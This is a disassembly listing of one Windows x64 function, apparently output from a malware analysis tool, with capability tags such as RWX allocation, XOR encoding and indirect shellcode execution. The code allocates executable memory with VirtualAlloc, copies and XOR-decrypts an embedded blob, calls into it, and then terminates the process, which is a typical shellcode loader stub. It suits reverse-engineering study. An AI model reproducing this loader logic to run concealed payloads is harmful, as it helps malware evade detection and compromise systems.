Function at 0x14001609b
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x1400160ab
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
cmp dword [0x1400cf018], 0
je 0x140016114
lea rsi, [0x1400cf01c]
xor ebp, ebp
lea rdi, [fcn.14001609b]
lea rbx, str.wwwwe
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.14001650b
test eax, eax
je 0x140016324
add rbp, 1
mov eax, dword [0x1400cf018]
add rsi, 0x10
cmp rbp, rax
jb 0x1400160eb
mov edx, dword [0x1400cf008]
xor edi, edi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r13, rax
mov r8d, dword [0x1400cf008]
test r8, r8
je 0x140016200
mov ebx, dword [0x1400cf004]
lea rcx, [fcn.14001609b]
lea rbp, [r8 - 1]
mov rdx, r8
and rdx, 7
je 0x140016196
xor edi, edi
nop word cs:[rax + rax]
nop dword [rax]
lea rsi, [rbx + rdi]
movzx eax, byte [rcx + rsi]
mov byte [r13 + rdi], al
add rdi, 1
cmp rdx, rdi
jne 0x14001616b
sub r8, rdi
lea rdx, [rdi + r13]
add rcx, rbx
add rcx, rdi
cmp rbp, 7
jae 0x1400161a2
jmp 0x1400161fa
add rcx, rbx
mov rdx, r13
cmp rbp, 7
jb 0x1400161fa
xor ebp, ebp
nop dword [rax]
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp r8, rbp
jne 0x1400161ab
mov edi, dword [0x1400cf008]
mov r8d, dword [0x1400cf00c]
mov rcx, r13
mov rdx, rdi
call fcn.1400167cb
mov edi, dword [r13 + 4]
test rdi, rdi
je 0x140016321
mov ebp, dword [0x1400cf00c]
lea rax, [r13 + 8]
mov qword [rsp + 0x38], rax
mov eax, dword [r13]
mov qword [rsp + 0x30], rax
add eax, 0x100
mov dword [rsp + 0x2c], eax
xor r12d, r12d
lea r15, [rsp + 0x40]
xor r14d, r14d
mov ebx, r12d
add rbx, qword [rsp + 0x38]
imul ebp, ebp, 0x18d517
xor ebp, 0x352e09df
movzx esi, bpl
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call fcn.1400163eb
lea rcx, [rsp + rsi]
add rcx, 0x40
add rbx, qword [rsp + 0x30]
add rbx, rsi
mov r8d, pe_nt_image_headers64
sub r8d, esi
mov rdx, rbx
call fcn.1400163eb
mov ecx, r14d
add rcx, r13
mov r8d, pe_nt_image_headers64
mov rdx, r15
call fcn.1400163eb
add r14d, 0x100
add r12d, dword [rsp + 0x2c]
cmp r14d, edi
jb 0x14001624b
mov ecx, dword [0x1400cf00c]
cmp edi, 1
jne 0x1400162c6
xor eax, eax
jmp 0x140016306
mov edx, edi
and edx, 0xfffffffe
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x1400162db
test dil, 1
je 0x140016321
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r13 + rax]
xor dl, 0xdf
mov byte [r13 + rax], dl
call r13
cmp dword [0x1400cf014], 0
jne 0x14001633c
mov rcx, 0xffffffffffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret